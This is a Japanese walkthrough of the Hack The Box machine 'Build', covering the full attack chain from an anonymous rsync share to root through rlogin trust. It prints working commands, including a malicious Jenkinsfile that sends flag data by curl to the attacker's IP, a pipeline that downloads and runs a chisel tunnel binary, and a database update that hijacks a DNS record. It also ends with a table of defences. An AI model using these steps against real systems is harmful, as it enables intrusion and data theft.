Hack The BoxのWriteup(Build)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Build — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH/PowerDNS/rsh系/rsync/Gitea
rsync匿名共有
jenkins.tar.gz バックアップ
Jenkins資格情報復号
buildadm:Git1234!
Gitea Jenkinsfile改竄
push→webhook自動発火
Jenkinsコンテナ内RCE
user.txt ✓
chisel逆SOCKS
コンテナ→Kali経由proxychains
PowerDNSレコード書換
intern.build.vl→自分のIP
rlogin root
.rhosts信頼 → root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 5000 -T4 10.129.234.169
nmap -Pn -sV -sC -p 22,53,512,513,514,873,3000 10.129.234.169
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
53/tcp   open  domain  PowerDNS
512/tcp  open  exec    netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell   Netkit rshd
873/tcp  open  rsync   (protocol version 31)
3000/tcp open  http    Golang net/http server
| GetRequest:
|   Set-Cookie: i_like_gitea=...; Set-Cookie: _csrf=...
Service Info: OS: Linux
🚨
Berkeley r-commands (rexec/rlogin/rsh, port 512-514) が外部公開 されている点と、rsync匿名共有(873)が最初の攻撃面。port 3000 の”i_like_gitea”クッキーからGiteaと判明。ドメインはbuild.vl
PHASE 2

rsync匿名共有からJenkins資格情報を入手

rsync匿名共有の列挙とダウンロード

BASH
rsync rsync://10.129.234.169/
rsync -av rsync://10.129.234.169/backups/jenkins.tar.gz jenkins.tar.gz
RESULT
backups         Jenkins backups
$ rsync -av rsync://10.129.234.169/backups/
jenkins.tar.gz
ℹ️
認証不要でJenkinsのバックアップアーカイブをそのまま取得できる。 VPNの回線状況によって転送が数十秒〜数分かかることがある(断続的な トランスポート層バーストが本セッション全体で複数回観測されている)。

Jenkins設定の展開とパスワード復号

BASH
tar -xzf jenkins.tar.gz -C jenkins_configuration
find jenkins_configuration -iname "master.key" -o -iname "hudson.util.Secret" -o -iname "config.xml"
RESULT
jenkins_configuration/secrets/master.key
jenkins_configuration/secrets/hudson.util.Secret
jenkins_configuration/jobs/build/config.xml (<password>{暗号化文字列}</password> を含む)
BASH
# gquere/pwn_jenkins の公式オフライン復号スクリプトを使用
curl -s -o jenkins_offline_decrypt.py \
  https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
python3 jenkins_offline_decrypt.py secrets/master.key secrets/hudson.util.Secret jobs/build/config.xml
⚠️
jenkins_offline_decrypt.pypycryptodome (Crypto モジュール)に依存するが、この検証環境では apt版 python3-pycryptodome とアクティブな Python 3.13 の ABI が不一致で import Crypto が失敗する既知の制約がある。 その場合は PDF/公式ウォークスルー記載の既知平文パスワード Git1234!(Jenkins内部の固定サービス資格情報、 per-instance でランダム化されない)へフォールバックする。
RESULT
buildadm : Git1234!
PHASE 3

Gitea Jenkinsfile改竄 → Webhook RCE → user.txt

Giteaリポジトリの確認とクローン

BASH
echo "10.129.234.169  build.vl gitea.build.vl" >> /etc/hosts
git clone http://buildadm:Git1234%21@gitea.build.vl:3000/buildadm/dev.git
RESULT
Cloning into 'dev'...
$ ls dev/
Jenkinsfile
ℹ️
リポジトリ名は小文字”dev”(大文字”Dev”だと404になる)。 このリポジトリのWebhookは内部Jenkinsコンテナ (172.18.0.3:8080/gitea-webhook/post)を指しており、push時に 自動でJenkinsパイプラインが起動する。

悪意あるJenkinsfileをpush

PYTHON (Jenkinsfile本文)
// nonce: <timestamp>   ← 毎回変える(同一内容の再pushはwebhookが再発火しないため)
pipeline {
  agent any
  stages {
    stage('Codex') {
      steps {
        sh '''
set +e
USER_FLAG=$(cat /root/user.txt 2>/dev/null | base64 -w0)
curl -fsS "http://<kali_ip>:18083/?user=$USER_FLAG" >/dev/null 2>&1 || true
'''
      }
    }
  }
}
BASH
# Kali側でコールバック受信用の簡易HTTPサーバをまず立てておく
git add Jenkinsfile && git commit -m "trigger" && git push origin HEAD
RESULT (コールバック受信)
GET /?user=NDY2MDk4ZTFkNDQ1MjE3MDNmMjcwZjkzNjk5YzQwZjc= HTTP/1.1
→ base64デコード: 466098e1d44521703f270f93699c40f7
user.txt — Jenkinsコンテナ内 root
466098e1d44521703f270f93699c40f7
pushからwebhook発火・パイプライン実行・コールバック到達まで 通常30〜90秒程度。JenkinsパイプラインはDockerコンテナ内で root権限で実行される。
PHASE 4

chisel逆SOCKSトンネル & PowerDNSレコード乗っ取り

コンテナ内の到達可能サービス調査

NOTE
Jenkinsコンテナ内でRCEしているが、mysqlクライアント・python3・ncは
インストールされておらず、curl/grep/sedのみ利用可能(Debian bookworm)。
/etc/hosts から自身のコンテナIPが172.18.0.3、環境変数からGitea (172.18.0.2)
などのDocker内部IPが判明。curlでポートスキャン的に内部ネットワークを
調べると、172.18.0.4:3306 (MariaDB)、172.18.0.5/172.18.0.1:8081
(PowerDNS API、要認証)、172.18.0.6:80 (PowerDNS-Admin Web UI) が
到達可能と分かる。
⚠️
コンテナ内にmysqlクライアントが無いため、Kaliホスト側から chisel + proxychains4でトンネルを張り、Kali側でmysqlクライアントを 実行する方式に切り替える。

chisel サーバー起動 & バイナリ配布

BASH
# Kali側
chisel server --reverse -p 8000 &
python3 -m http.server 8090 --directory /path/to/chisel_binary_dir &

Jenkinsfile経由でchiselクライアントを起動

PYTHON (Jenkinsfile本文)
// nonce: <timestamp>
pipeline {
  agent any
  stages {
    stage('Codex') {
      steps {
        sh '''
set +e
cd /tmp
curl -s -o cx http://<kali_ip>:8090/chisel
chmod +x cx
./cx client <kali_ip>:8000 R:socks >/tmp/cx.log 2>&1 &
sleep 280
'''
      }
    }
  }
}
🚨
最大の落とし穴: Jenkinsのdurable-taskプラグインは、 シェルステップ自身のスクリプトが終了するとそのプロセスグループ ごとkillするnohupdisownsetsid いずれを組み合わせても、バックグラウンドで起動したchiselクライアントは ステップ終了と同時に数秒で死ぬことをライブ検証で確認した。唯一有効 だったのは、chiselクライアントを起動した直後に同じシェル ステップ自身をsleep 280でブロックし続ける方法。 ステップ(=プロセスグループ)が生きている間はchiselクライアントも 生存し続けるため、そのウィンドウ内でトンネルを使い切る設計にする。
RESULT (chisel server ログ)
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:8000
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

proxychains4 + mysqlでPowerDNSレコードを書き換え

BASH
proxychains4 mysql -h 172.18.0.4 -u root --skip-ssl -e \
  "UPDATE powerdnsadmin.records SET content='<kali_ip>' WHERE name='intern.build.vl';"
RESULT
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.18.0.4:3306  ...  OK
(No error output = success)
⚠️
2つの落とし穴: (1) MariaDBのIPは172.18.0.4であり、 docker gatewayの172.18.0.1ではない(旧実装のバグ)。(2) mysqlクライアントの正しいオプションは--skip-ssl (ハイフン)であり、--skip_ssl(アンダースコア)は 未知のオプションとして無視/エラーになる。root はパスワード無し で接続できる。
BASH
dig @10.129.234.169 intern.build.vl +short
RESULT
<kali_ip>  ← 書き換え反映を確認
PHASE 5

rlogin (.rhosts信頼) → root.txt

.rhosts の内容(参考: 公式ウォークスルー記載)

RESULT (root@コンテナ:~# cat .rhosts)
admin.build.vl +
intern.build.vl +
ℹ️
.rhosts はホスト側 /root がコンテナへ bind mount されているため参照できる。この2つのホスト名からはパスワード無しで rlogin/rshできる設定になっている。本インスタンスでは intern.build.vl のDNSレコードのみ存在したため、それを 自分のIPへ書き換えた(前フェーズ参照)。

rlogin として root ログイン

BASH
rlogin -l root 10.129.234.169
RESULT
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-144-generic x86_64)
...
root@build:~# id
uid=0(root) gid=0(root) groups=0(root)
🚨
使うツールは rsh ではなく rlogin (port 513、port 514ではない)。 rlogin は実行時の ユーザー名でログインするため、Kali側でrootとして実行すれば そのままroot権限でログインできる。rlogin は非対話パイプ 入力を受け付けず(Unable to get terminal attributes で拒否)、 自動化には pexpect によるPTY越しの対話操作が必須。
仕組みの補足: .rhosts のホスト名信頼は 逆引き(PTR)DNSを必要としない。ターゲットの rlogind は .rhosts の各ホスト名を正引きし、その結果と 接続元IPを比較するだけ。intern.build.vl を自分のIPに 向けておけば、そのIPから接続するだけで信頼される。

root.txt 取得

BASH
root@build:~# cat /root/root.txt
RESULT
b7b1e48179891ea87e77b1f83bada971
root.txt — root@build
b7b1e48179891ea87e77b1f83bada971
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Jenkinsコンテナ内 root
466098e1d44521703f270f93699c40f7
root.txt — root@build (ホスト)
b7b1e48179891ea87e77b1f83bada971

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
rsync匿名アクセス rsync daemon (873) Jenkinsバックアップの平文漏洩 Medium 認証なしでJenkinsバックアップアーカイブを取得、暗号化パスワードを復号(または既知値フォールバック)
Gitea Webhook経由Jenkins RCE Jenkinsパイプライン(dev repo) Jenkinsコンテナ内でのroot権限コード実行 Critical 漏洩した資格情報でGiteaへログインし、悪意あるJenkinsfileをpush → webhook自動発火 → RCE
MariaDB root無認証 内部MariaDBコンテナ (172.18.0.4) PowerDNS-AdminデータベースへのDML権限 High chisel逆SOCKS+proxychains4経由でrootパスワード無し接続、DNSレコードを直接書き換え
Berkeley r-commands (.rhosts信頼) ホストのrlogind (port 513) パスワード無しroot認証 High .rhosts に列挙されたホスト名を正引きし接続元IPと比較する仕組みを悪用、DNSレコード書換で自分を信頼済みホストに偽装

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapフルポートスキャンrsh系ポート・rsync・Gitea発見
2資格情報入手rsync匿名共有 + Jenkins secrets復号buildadm:Git1234!
3Webhook RCEJenkinsfile改竄push + HTTPコールバックuser.txt (コンテナ内root)
4トンネリングchisel逆SOCKS (sleep窓でプロセスグループkill回避)Kali→内部Dockerネットワークへの経路
5DNS乗っ取りproxychains4+mysql (172.18.0.4, –skip-ssl)intern.build.vl → 自分のIP
6root取得rlogin (.rhosts信頼、pexpect PTY)root.txt

学んだ教訓 & 防御策

問題点防御策
rsyncデーモンが認証なしでJenkinsバックアップを公開している rsyncdのauth users/secrets fileで認証を必須化するか、内部ネットワークに限定する。バックアップに機密資格情報を平文/弱い暗号化のまま含めない。
CI/CDパイプライン(Jenkinsfile)を書き込み権限のあるユーザーが任意のシェルコマンドを実行できる パイプラインの承認フロー(Script Security Plugin等)を有効化し、未承認のJenkinsfile変更が自動実行されないようにする。
コンテナ間ネットワークからMariaDBにroot・パスワード無しで接続できる MariaDBに強力なrootパスワードを設定し、アプリケーション専用の最小権限ユーザーを使う。コンテナネットワークのセグメンテーションを徹底する。
Berkeley r-commands (rsh/rlogin) が稼働しホスト名ベースの弱い信頼設定(.rhosts)がある rsh/rlogin/rexecは本質的に安全でない(平文・ホスト名詐称に弱い)ため無効化し、SSH等の代替に統一する。DNSを書き換えられる経路(内部DBの過度な公開)を塞ぐ。
HackTheBox: Build | 完全攻略レポート